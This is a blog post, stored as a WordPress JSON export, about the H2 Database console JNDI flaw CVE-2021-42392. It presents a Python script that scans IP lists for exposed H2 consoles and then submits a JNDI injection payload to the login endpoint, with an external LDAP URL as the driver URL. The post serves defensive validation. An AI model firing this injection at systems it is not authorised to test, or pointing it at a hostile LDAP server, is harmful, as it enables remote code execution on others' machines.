{"id":7465,"date":"2022-01-09T18:46:08","date_gmt":"2022-01-10T01:46:08","guid":{"rendered":"https:\/\/webdev.securin.xyz\/?p=7465"},"modified":"2024-04-23T09:11:21","modified_gmt":"2024-04-23T16:11:21","slug":"how-to-detect-jndi-vulnerability-in-h2-database-engine","status":"publish","type":"post","link":"https:\/\/webdev.securin.xyz\/articles\/how-to-detect-jndi-vulnerability-in-h2-database-engine\/","title":{"rendered":"How to Detect JNDI vulnerability in H2 Database Engine?"},"content":{"rendered":"
\n

As organizations work to remediate the various Log4j vulnerabilities in their environments, researchers are discovering similar flaws related to JNDI remote class loading – a part of every standard Java installation.<\/p>\n<\/blockquote>\n

On January 07, 2022, researchers discovered a critical Java Naming and Directory Interface (JNDI) vulnerability in H2 Database Engine with a similar underlying cause as the notorious Log4j vulnerability. This vulnerability is a result of JNDI misuse that leads to unauthenticated remote code execution and is identified as CVE-2021-42392.<\/p>\n

\n

Securin Researchers have developed a script<\/a> to detect the JNDI vulnerability – the well-known LogShell-like vulnerability. Run our simple-to-use script to ensure your projects are free from JNDI injections.<\/a><\/p>\n<\/blockquote>\n

H2 is an open-source Java SQL database that may be used in web platform projects like Spring Boot and IoT platform projects with 6,808 artifact dependencies<\/a>. Considering a huge number of other packages and apps are built on top of the H2 database; therefore, the impact of this flaw would likely be extensive.<\/p>\n

\"\"<\/p>\n

<\/a>Detection Script<\/h2>\n
\n

import requests
\nfrom bs4 import BeautifulSoup
\nimport time
\nfrom sys import argv
\nimport json
\nimport csv
\nimport os
\nimport argparse
\nimport sys<\/p>\n

start = time.perf_counter()
\nprint(“[+] Start \\n” +”=”*50 )
\nStartTime = time.strftime(“%H:%M:%S”)
\nprint(f”StartTime : %s ” %(StartTime))<\/p>\n

# results to output file
\ndef outfile(i, mode=”a+”, time = time.strftime(“%d_%H%M%S”)):
\n#time = time.strftime(“%d_%H%M%S”)
\nfilename = f”outfile_{str(time)}.txt”
\nfile = open(filename, mode)
\nfile.write(str(i)+”\\n”)
\nfile.close()<\/p>\n

def detect_h2(ip,ports = 8082):
\nURL = f”http:\/\/{ip}:{ports}\/”
\nprint(“input url”, URL)<\/p>\n

try:
\nr1 = requests.get(URL, allow_redirects = True)
\nr1.close()
\n#print(dir(r1), “\\n”)
\nout_html = r1.text # response
\nr_url = r1.url ## request url
\n# beautifulsoup
\nb1 = BeautifulSoup(out_html, “html.parser”)
\nsearch = “Sorry, remote connections (‘webAllowOthers’) are disabled on this server.”<\/p>\n

## Checking if h2 web console supports remote connection
\nif b1.head.title.text.strip() == “H2 Console” and b1.p != None and b1.p.text.strip() == search:
\nprint(f”[-] h2 console {r1.url} but”, b1.p.text.strip() )<\/p>\n

elif b1.head.title.text.strip() == “H2 Console” and b1.h2 == None or b1.h2.text == “No Javascript”:
\n#if len(key2) < 10
\noutfile(f” {r1.url}”, “a”)
\nprint(f”[+] h2 Console detected on {r1.url}, further validation is required.”)
\nreturn str(ip)
\nelse:
\nprint(f”[-] No h2 console detected.”)<\/p>\n

except requests.ConnectionError:
\nprint(“[-] Error Connection Refused”)
\nprint(f”[-] No h2 console detected on {URL}.”)<\/p>\n

# except AttributeError:
\n#\u00a0 \u00a0 \u00a0print(“[-]AttributeError”)
\n#\u00a0 \u00a0 \u00a0return “None Attribute Error”
\n# except:
\n#\u00a0 \u00a0 \u00a0return “Some exception occured.”<\/p>\n

## generating ip list from a file
\ndef ip_list(filename):
\nwith open(filename, “r”) as list:
\nIPs = list.readlines()
\nreturn IPs<\/p>\n

def filename1(name=”IP.txt”):
\nfilename = “IP.txt”
\nif len(argv) > 1:
\nfilename = argv[1]
\nreturn filename<\/p>\n

def filename(name=”IP.txt”):
\ntry:
\nfilename = “IP.txt”
\nif len(argv) > 1:
\nfilename = argv[1]
\nprint(“filename_:{filename}”)
\nreturn filename
\nexcept FileNotFoundError:
\nprint(“[-] File not found, enter a valid file name”)<\/p>\n

 <\/p>\n

def request_h2(IP,ldap,PORT=”8082″,URI=””):
\ntarget = f”http:\/\/{IP}:{PORT}\/{URI}”
\nproxyDict = {“http” : “http:\/\/127.0.0.1:8080”}
\nr_get = requests.get(target, timeout=3)
\nresponse = r_get.text
\n# index_start =
\ncut1 = response[response.find(“jsession”):]
\n# print(f”cut1 : {cut1}”)
\nindex_end = cut1.find(“;”)
\njsession = cut1[:index_end-1]
\n# print(f”jsession: {jsession}”)
\n# b1 = BeautifulSoup(r1.text, “html.parser”)
\n# print(f”b1 body : {b1.head.script}”)
\n# print(f”r1 body : {r1.content}”)
\n# http proxy
\nproxyDict = {
\n“http”\u00a0 : “http:\/\/127.0.0.1:8080″
\n}<\/p>\n

header = {
\n‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko\/20100101 Firefox\/95.0’,
\n‘Content-Type’: ‘application\/x-www-form-urlencoded’\u00a0 \u00a0}<\/p>\n

obj = {
\n‘language’:’en’,
\n‘setting’:’Generic+Teradata’,
\n‘name’:’Generic+Teradata’,
\n‘driver’:’javax.naming.InitialContext’,
\n‘url’:ldap,
\n‘user’:”,
\n‘password’:”
\n}<\/p>\n

target_2 = target+”login.do?”+jsession
\nr_post = requests.post(target_2,data=obj,headers=header,timeout=3 )
\nreturn r_post<\/p>\n

def get_huntress():
\nr_huntress = requests.get(“https:\/\/log4shell.huntress.com\/”)
\nr_huntress.close()
\nbs_huntress = BeautifulSoup(r_huntress.content, “html.parser”)
\n# r.text
\n# jndi_fetch = bs_huntress.pre.text
\njndi_all = bs_huntress.find_all(“pre”)
\nj1 = jndi_all[1].text
\ni3 = j1.find(‘ldap’)
\n# ldap_fetch = j1[i3:-1].replace(“${env:”,”{“).replace(“HOSTNAME”,f”{HOSTNAME}”)
\nldap_fetch = j1[i3:-1].replace(“${env:”,”{“)
\nhuntress_id = ldap_fetch[ldap_fetch.rfind(‘\/’):]
\nreturn ldap_fetch, huntress_id<\/p>\n

def get_huntress_status(ID):
\ntry:
\nhuntress_status_json = “https:\/\/log4shell.huntress.com\/json”+ID
\nresults = requests.get(huntress_status_json)
\njson1 = results.json()
\nfilename = f”output_json_{time.strftime(‘%H%M%S’)}.json”
\nfile = open(filename ,”a+”)
\nfile.write(str(json1))
\nfile.close()
\npretty_json = json.dumps(json1, sort_keys=True, indent =4)
\nout_json_file = json.loads(pretty_json)[‘hits’]
\nif len(out_json_file) <= 0 :
\nprint(f”No results from huntress, no hits on huntress endpoint.”)
\nelse:
\nprint(f”Saving the output at {os.getcwd()}\\\\{filename} “)
\n# json to csv – written to file
\nfilename_csv = f”outfile_csv_{time.strftime(‘%H%M%S’)}.csv”
\nwith open(filename_csv,’w’) as f:
\nwr = csv.DictWriter(f, fieldnames=out_json_file[0].keys())
\nwr.writeheader()
\nwr.writerows(out_json_file)
\nprint(f”Saving the output at {os.getcwd()}\\\\{filename_csv} “)
\nreturn pretty_json
\nexcept IndexError:
\nprint(“Inded Error, no hits from huntress.com, Try again.”)
\nexcept:
\nprint(“[-] Error fetching status from huntress.”)<\/p>\n

if __name__ == “__main__”:
\n# filename
\nfilename = filename()
\n# filename = “IP.txt”
\nIPs = ip_list(filename)
\n# generating\u00a0 IP list from
\nif IPs == []:
\nprint(f”[-] No IPs found the input file is empty. Add IPs to the file”)
\nelse:
\nprint(f”Input IP list : {IPs}”)
\n#print(f”Input IP list : {IPs}”)
\nprint(f”=”*50 )<\/p>\n

# output list
\noutlist = []
\nfor i in IPs:
\nprint(i.strip())
\ntry:
\nx = detect_h2(i.strip())
\nif x != None:
\noutlist.append(x)
\nexcept KeyboardInterrupt:
\nprint(“Intrrupted”)
\nsys.exit()
\nexcept requests.ConnectionError:
\nprint(f”[-] Connection Error {i.strip()}”)
\nprint(f”-“*50 )<\/p>\n

print(f”[+] IPs with h2 console : {outlist}”)
\nprint(f”-“*50 )<\/p>\n

# Manual test
\n# IP = “192.168.10.1”
\n# detect_h2(IP)<\/p>\n

print(“[+] Starting JNDI injection with the ldap from huntress.com …”)
\nprint(”\u00a0 \u00a0 \u00a0[#] For more info visit https:\/\/log4shell.huntress.com\/ “)<\/p>\n

# IPs = [“192.168.10.11”, “192.168.10.14”, “193.206.59.85”, “3.21.163.236”]
\n# IPs = outlist<\/p>\n

ldap_url, huntress_id = get_huntress()
\nprint(f”[+] Fetching ldap URL: {ldap_url} \\n&\\nHuntress ID : {huntress_id}”)<\/p>\n

for IP in IPs:
\ntry:
\nHOSTNAME = IP.strip()
\n# print(HOSTNAME)
\nldap = ldap_url.replace(“HOSTNAME”,f”{HOSTNAME}”)
\n# print(ldap)
\npost = request_h2(HOSTNAME, ldap , “8082”)
\nexcept requests.ConnectionError:
\nprint(f”{IP.strip()} Error Connecting …”)
\nexcept IndexError:
\nprint(f”Empty list.”)<\/p>\n

# post = request_h2(HOSTNAME, ldap_url, “8082”)
\nprint(“=”*50)
\n# print(f”[+] Testing {post.url}”)
\nprint(f”[+] Check Result at (huntress) ::”,”https:\/\/log4shell.huntress.com\/view\/”+ldap_url[ldap_url.rfind(‘\/’)+1:])
\nprint(”\u00a0 \u00a0 \u00a0[#] FYI https:\/\/log4shell.huntress.com\/ only stores results temporarily for 30min, you can refer to the data is saved locally “)
\nprint(“=”*50)
\nstatus_json = get_huntress_status(huntress_id)
\nprint(“[+] Output”, status_json)
\nprint(“=”*50)
\n# print(“[+] The End.”)
\n## timer\/counter
\nfinish = time.perf_counter()
\nprint(f”[+]Script time (sec) : {round(finish-start )}”)
\nEndTime = time.strftime(“%H:%M:%S”)
\nprint(f”End Time : %s ” %(EndTime))
\nprint(f”=”*50 )
\nprint(“[+] The End”)<\/p>\n

# Reference: other options
\n# nmap -sV –script http-title –script-args “http-title.url=\/” -p80,443,8000-9000 192.168.0.0\/8 | grep “H2 Console”
\n# https:\/\/jfrog.com\/blog\/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console\/<\/p>\n

### About The Script
\n# The script detect H2 server for the give list of IPs,
\n# it can identify the H2 Console web pages and check for access restrictions.
\n# Detections h2 web console pages and checks console accessibility.
\n# Added Support for validation by injecting a ldap server url to trigger JNDI requests,
\n# log4shell.huntress.com ldap server is used here for this validation and the
\n# results are fetched from the server and saved locally json and csv filetypes
\n###<\/p>\n

# Script Version : v0.3.6<\/p>\n<\/div>\n

<\/h2>\n

Vulnerable Products<\/h2>\n

 <\/p>\n

This vulnerability affects versions of the H2 console going back to 2008, from version 1.1.100 to 2.0.204.<\/p>\n

Why is this flaw called a LogShell-like Vulnerability?<\/h2>\n

The H2 Database version 2.0.206 is similar to Log4j 2.17.0 due to the fact that it addresses the problem by limiting JNDI URLs to use the (local) Java protocol, and therefore not allowing queries for remote LDAP\/RMI. Malicious attackers can use URLs to load external codebases in the H2 console, just as they do in Log4j.<\/p>\n

 <\/p>\n

Although the researchers believe the vulnerability is critical, they anticipate it will not be as widespread as Log4j owing to a number of considerations, including:<\/p>\n

 <\/p>\n